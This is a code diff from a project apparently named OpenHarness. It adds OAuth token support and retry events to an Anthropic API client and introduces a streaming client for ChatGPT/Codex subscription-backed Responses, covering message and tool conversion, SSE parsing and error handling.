BASE_DELAY = 1.0 # seconds
MAX_DELAY = 30.0
RETRYABLE_STATUS_CODES = {429, 500, 502, 503, 529}
OAUTH_BETA_HEADER = "oauth-2025-04-20"
@dataclass(frozen=True)
@@ -54,7 +63,17 @@ class ApiMessageCompleteEvent:
stop_reason: str | None = None
ApiStreamEvent = ApiTextDeltaEvent | ApiMessageCompleteEvent
@dataclass(frozen=True)
class ApiRetryEvent:
"""A recoverable upstream failure that will be retried automatically."""
message: str
attempt: int
max_attempts: int
delay_seconds: float
ApiStreamEvent = ApiTextDeltaEvent | ApiMessageCompleteEvent | ApiRetryEvent
class SupportsStreamingMessages(Protocol):
@@ -98,11 +117,45 @@ def _get_retry_delay(attempt: int, exc: Exception | None = None) -> float:
class AnthropicApiClient:
"""Thin wrapper around the Anthropic async SDK with retry logic."""
def __init__(self, api_key: str, *, base_url: str | None = None) -> None:
kwargs: dict[str, Any] = {"api_key": api_key}
if base_url:
kwargs["base_url"] = base_url
self._client = AsyncAnthropic(**kwargs)
def __init__(
self,
api_key: str | None = None,
*,
auth_token: str | None = None,
base_url: str | None = None,
claude_oauth: bool = False,
auth_token_resolver: Callable[[], str] | None = None,
) -> None:
self._api_key = api_key
self._auth_token = auth_token
self._base_url = base_url
self._claude_oauth = claude_oauth
self._auth_token_resolver = auth_token_resolver
self._session_id = get_claude_code_session_id() if claude_oauth else ""
self._client = self._create_client()
def _create_client(self) -> AsyncAnthropic:
kwargs: dict[str, Any] = {}
if self._api_key:
kwargs["api_key"] = self._api_key
if self._auth_token:
kwargs["auth_token"] = self._auth_token
kwargs["default_headers"] = (
claude_oauth_headers()
if self._claude_oauth
else {"anthropic-beta": OAUTH_BETA_HEADER}
)
if self._base_url:
kwargs["base_url"] = self._base_url
return AsyncAnthropic(**kwargs)
def _refresh_client_auth(self) -> None:
if not self._claude_oauth or self._auth_token_resolver is None:
return
next_token = self._auth_token_resolver()
if next_token and next_token != self._auth_token:
self._auth_token = next_token
self._client = self._create_client()
async def stream_message(self, request: ApiMessageRequest) -> AsyncIterator[ApiStreamEvent]:
"""Yield text deltas and the final assistant message with retry on transient errors."""
@@ -110,6 +163,7 @@ class AnthropicApiClient:
for attempt in range(MAX_RETRIES + 1):
try:
self._refresh_client_auth()
async for event in self._stream_once(request):
yield event
return # Success
@@ -128,6 +182,12 @@ class AnthropicApiClient:
"API request failed (attempt %d/%d, status=%s), retrying in %.1fs: %s",
attempt + 1, MAX_RETRIES + 1, status, delay, exc,
)
yield ApiRetryEvent(
message=str(exc),
attempt=attempt + 1,
max_attempts=MAX_RETRIES + 1,
delay_seconds=delay,
)
await asyncio.sleep(delay)
if last_error is not None:
@@ -144,11 +204,32 @@ class AnthropicApiClient:
}
if request.system_prompt:
params["system"] = request.system_prompt
if self._claude_oauth:
attribution = claude_attribution_header()
params["system"] = (
f"{attribution}\n{params['system']}"
if params.get("system")
else attribution
)
if request.tools:
params["tools"] = request.tools
if self._claude_oauth:
params["betas"] = claude_oauth_betas()
params["metadata"] = {
"user_id": json.dumps(
{
"device_id": "openharness",
"session_id": self._session_id,
"account_uuid": "",
},
separators=(",", ":"),
)
}
params["extra_headers"] = {"x-client-request-id": str(uuid.uuid4())}
try:
async with self._client.messages.stream(**params) as stream:
stream_api = self._client.beta.messages if self._claude_oauth else self._client.messages
async with stream_api.stream(**params) as stream:
async for event in stream:
if getattr(event, "type", None) != "content_block_delta":
continue
+391
View File
@@ -0,0 +1,391 @@
"""OpenAI Codex subscription client backed by chatgpt.com Codex Responses."""
from __future__ import annotations
import base64
import json
import platform
from typing import Any, AsyncIterator
import httpx
from openharness.api.client import (
ApiMessageCompleteEvent,
ApiMessageRequest,
ApiRetryEvent,
ApiStreamEvent,
ApiTextDeltaEvent,
)
from openharness.api.errors import AuthenticationFailure, OpenHarnessApiError, RateLimitFailure, RequestFailure
from openharness.api.usage import UsageSnapshot
from openharness.engine.messages import ConversationMessage, ImageBlock, TextBlock, ToolResultBlock, ToolUseBlock
DEFAULT_CODEX_BASE_URL = "https://chatgpt.com/backend-api"
JWT_CLAIM_PATH = "https://api.openai.com/auth"
MAX_RETRIES = 3
BASE_DELAY_SECONDS = 1.0
MAX_DELAY_SECONDS = 30.0
def _extract_account_id(token: str) -> str:
parts = token.split(".")
if len(parts) != 3:
raise AuthenticationFailure("Codex access token is not a valid JWT.")
try:
payload = json.loads(
base64.urlsafe_b64decode(parts[1] + "=" * (-len(parts[1]) % 4)).decode("utf-8")
)
except Exception as exc:
raise AuthenticationFailure("Could not decode Codex access token payload.") from exc
auth_claim = payload.get(JWT_CLAIM_PATH)
if not isinstance(auth_claim, dict):
raise AuthenticationFailure("Codex access token is missing account metadata.")
account_id = auth_claim.get("chatgpt_account_id")
if not isinstance(account_id, str) or not account_id:
raise AuthenticationFailure("Codex access token is missing chatgpt_account_id.")
return account_id
def _resolve_codex_url(base_url: str | None) -> str:
trimmed = (base_url or "").strip()
if trimmed and "chatgpt.com/backend-api" not in trimmed:
trimmed = ""
raw = (trimmed or DEFAULT_CODEX_BASE_URL).rstrip("/")
if raw.endswith("/codex/responses"):
return raw
if raw.endswith("/codex"):
return f"{raw}/responses"
return f"{raw}/codex/responses"
def _build_codex_headers(token: str, *, session_id: str | None = None) -> dict[str, str]:
account_id = _extract_account_id(token)
headers = {
"Authorization": f"Bearer {token}",
"chatgpt-account-id": account_id,
"originator": "openharness",
"User-Agent": f"openharness ({platform.system().lower()} {platform.machine() or 'unknown'})",
"OpenAI-Beta": "responses=experimental",
"accept": "text/event-stream",
"content-type": "application/json",
}
if session_id:
headers["session_id"] = session_id
return headers
def _convert_messages_to_codex(messages: list[ConversationMessage]) -> list[dict[str, Any]]:
result: list[dict[str, Any]] = []
for msg in messages:
if msg.role == "user":
user_content: list[dict[str, Any]] = []
for block in msg.content:
if isinstance(block, TextBlock) and block.text.strip():
user_content.append({"type": "input_text", "text": block.text})
elif isinstance(block, ImageBlock):
user_content.append({
"type": "input_image",
"image_url": f"data:{block.media_type};base64,{block.data}",
})
if user_content:
result.append({"role": "user", "content": user_content})
for block in msg.content:
if isinstance(block, ToolResultBlock):
result.append({
"type": "function_call_output",
"call_id": block.tool_use_id,
"output": block.content,
})
continue
assistant_text = "".join(block.text for block in msg.content if isinstance(block, TextBlock))
if assistant_text:
result.append({
"type": "message",
"role": "assistant",
"content": [{"type": "output_text", "text": assistant_text, "annotations": []}],
})
for block in msg.content:
if isinstance(block, ToolUseBlock):
result.append({
"type": "function_call",
"id": f"fc_{block.id[:58]}",
"call_id": block.id,
"name": block.name,
"arguments": json.dumps(block.input, separators=(",", ":")),
})
return result
def _convert_tools_to_codex(tools: list[dict[str, Any]]) -> list[dict[str, Any]]:
return [
{
"type": "function",
"name": tool["name"],
"description": tool.get("description", ""),
"parameters": tool.get("input_schema", {}),
}
for tool in tools
]
def _usage_from_response(response: dict[str, Any]) -> UsageSnapshot:
usage = response.get("usage")
if not isinstance(usage, dict):
return UsageSnapshot()
return UsageSnapshot(
input_tokens=int(usage.get("input_tokens") or 0),
output_tokens=int(usage.get("output_tokens") or 0),
)
def _stop_reason_from_response(response: dict[str, Any], *, has_tool_calls: bool) -> str | None:
status = response.get("status")
if has_tool_calls and status == "completed":
return "tool_use"
if status == "completed":
return "stop"
if status == "incomplete":
return "length"
if status in {"failed", "cancelled"}:
return "error"
return None
def _format_error_message(status_code: int, payload: str) -> str:
try:
parsed = json.loads(payload)
except json.JSONDecodeError:
parsed = None
if isinstance(parsed, dict):
error = parsed.get("error")
if isinstance(error, dict):
message = error.get("message")
if isinstance(message, str) and message.strip():
return message
detail = parsed.get("detail")
if isinstance(detail, str) and detail.strip():
return detail
text = payload.strip()
if text:
return text
return f"Codex request failed with status {status_code}"
def _format_codex_stream_error(event: dict[str, Any], *, fallback: str) -> str:
error = event.get("error")
payload = error if isinstance(error, dict) else event
message = payload.get("message") if isinstance(payload, dict) else None
code = payload.get("code") if isinstance(payload, dict) else None
request_id = (
(payload.get("request_id") if isinstance(payload, dict) else None)
or event.get("request_id")
)
parts: list[str] = []
if isinstance(message, str) and message.strip():
parts.append(message.strip())
elif isinstance(code, str) and code.strip():
parts.append(code.strip())
else:
parts.append(fallback)
if isinstance(code, str) and code.strip():
parts.append(f"(code={code.strip()})")
if isinstance(request_id, str) and request_id.strip():
parts.append(f"[request_id={request_id.strip()}]")
return " ".join(parts)
def _translate_status_error(status_code: int, message: str) -> OpenHarnessApiError:
if status_code in {401, 403}:
return AuthenticationFailure(message)
if status_code == 429:
return RateLimitFailure(message)
return RequestFailure(message)
class CodexApiClient:
"""Client for ChatGPT/Codex subscription-backed Codex Responses."""
def __init__(self, auth_token: str, *, base_url: str | None = None) -> None:
self._auth_token = auth_token
self._base_url = base_url
self._url = _resolve_codex_url(base_url)
async def stream_message(self, request: ApiMessageRequest) -> AsyncIterator[ApiStreamEvent]:
last_error: Exception | None = None
for attempt in range(MAX_RETRIES + 1):
try:
async for event in self._stream_once(request):
yield event
return
except Exception as exc:
last_error = exc
if attempt >= MAX_RETRIES or not self._is_retryable(exc):
raise self._translate_error(exc) from exc
delay = min(BASE_DELAY_SECONDS * (2 ** attempt), MAX_DELAY_SECONDS)
import asyncio
yield ApiRetryEvent(
message=str(exc),
attempt=attempt + 1,
max_attempts=MAX_RETRIES + 1,
delay_seconds=delay,
)
await asyncio.sleep(delay)
if last_error is not None:
raise self._translate_error(last_error) from last_error
async def _stream_once(self, request: ApiMessageRequest) -> AsyncIterator[ApiStreamEvent]:
body: dict[str, Any] = {
"model": request.model,
"store": False,
"stream": True,
"instructions": request.system_prompt or "You are OpenHarness.",
"input": _convert_messages_to_codex(request.messages),
"text": {"verbosity": "medium"},
"include": ["reasoning.encrypted_content"],
"tool_choice": "auto",
"parallel_tool_calls": True,
}
if request.tools:
body["tools"] = _convert_tools_to_codex(request.tools)
content: list[TextBlock | ToolUseBlock] = []
current_text_parts: list[str] = []
completed_response: dict[str, Any] | None = None
headers = _build_codex_headers(self._auth_token)
async with httpx.AsyncClient(timeout=60.0, follow_redirects=True) as client:
async with client.stream("POST", self._url, headers=headers, json=body) as response:
if response.status_code >= 400:
payload = await response.aread()
message = _format_error_message(response.status_code, payload.decode("utf-8", "replace"))
raise httpx.HTTPStatusError(message, request=response.request, response=response)
async for event in self._iter_sse_events(response):
event_type = event.get("type")
if event_type == "response.output_text.delta":
delta = event.get("delta")
if isinstance(delta, str) and delta:
current_text_parts.append(delta)
yield ApiTextDeltaEvent(text=delta)
elif event_type == "response.output_item.done":
item = event.get("item")
if not isinstance(item, dict):
continue
item_type = item.get("type")
if item_type == "message":
text = ""
raw_content = item.get("content")
if isinstance(raw_content, list):
parts = []
for block in raw_content:
if isinstance(block, dict):
if block.get("type") == "output_text":
parts.append(str(block.get("text", "")))
elif block.get("type") == "refusal":
parts.append(str(block.get("refusal", "")))
text = "".join(parts)
if text:
content.append(TextBlock(text=text))
elif item_type == "function_call":
arguments = item.get("arguments")
parsed_arguments: dict[str, Any]
if isinstance(arguments, str) and arguments:
try:
loaded = json.loads(arguments)
except json.JSONDecodeError:
loaded = {}
else:
loaded = {}
parsed_arguments = loaded if isinstance(loaded, dict) else {}
call_id = item.get("call_id")
name = item.get("name")
if isinstance(call_id, str) and call_id and isinstance(name, str) and name:
content.append(ToolUseBlock(id=call_id, name=name, input=parsed_arguments))
elif event_type == "response.completed":
response_payload = event.get("response")
if isinstance(response_payload, dict):
completed_response = response_payload
elif event_type == "response.failed":
response_payload = event.get("response")
if isinstance(response_payload, dict):
raise RequestFailure(
_format_codex_stream_error(
response_payload,
fallback="Codex response failed",
)
)
raise RequestFailure("Codex response failed")
elif event_type == "error":
raise RequestFailure(
_format_codex_stream_error(event, fallback="Codex error")
)
if current_text_parts and not any(isinstance(block, TextBlock) for block in content):
content.insert(0, TextBlock(text="".join(current_text_parts)))
final_message = ConversationMessage(role="assistant", content=content)
usage = _usage_from_response(completed_response or {})
stop_reason = _stop_reason_from_response(
completed_response or {},
has_tool_calls=bool(final_message.tool_uses),
)
yield ApiMessageCompleteEvent(
message=final_message,
usage=usage,
stop_reason=stop_reason,
)
async def _iter_sse_events(self, response: httpx.Response) -> AsyncIterator[dict[str, Any]]:
data_lines: list[str] = []
async for line in response.aiter_lines():
if line == "":
if data_lines:
payload = "\n".join(data_lines).strip()
data_lines = []
if payload and payload != "[DONE]":
try:
event = json.loads(payload)
except json.JSONDecodeError:
continue
if isinstance(event, dict):
yield event
continue
if line.startswith("data:"):
data_lines.append(line[5:].strip())
if data_lines:
payload = "\n".join(data_lines).strip()
if payload and payload != "[DONE]":
try:
event = json.loads(payload)
except json.JSONDecodeError:
return
if isinstance(event, dict):
yield event
@staticmethod
def _is_retryable(exc: Exception) -> bool:
if isinstance(exc, httpx.HTTPStatusError):
return exc.response.status_code in {429, 500, 502, 503, 504}
if isinstance(exc, RateLimitFailure):
return True
if isinstance(exc, RequestFailure):
message = str(exc).lower()
return any(term in message for term in ["timeout", "connect", "network", "rate", "overloaded"])
if isinstance(exc, (httpx.TimeoutException, httpx.NetworkError)):
return True
return False
@staticmethod
def _translate_error(exc: Exception) -> OpenHarnessApiError:
if isinstance(exc, OpenHarnessApiError):
return exc
if isinstance(exc, httpx.HTTPStatusError):
status = exc.response.status_code
return _translate_status_error(status, str(exc))
if isinstance(exc, httpx.HTTPError):
return RequestFailure(str(exc))
return RequestFailure(str(exc))

Some files were not shown because too many files have changed in this diff Show More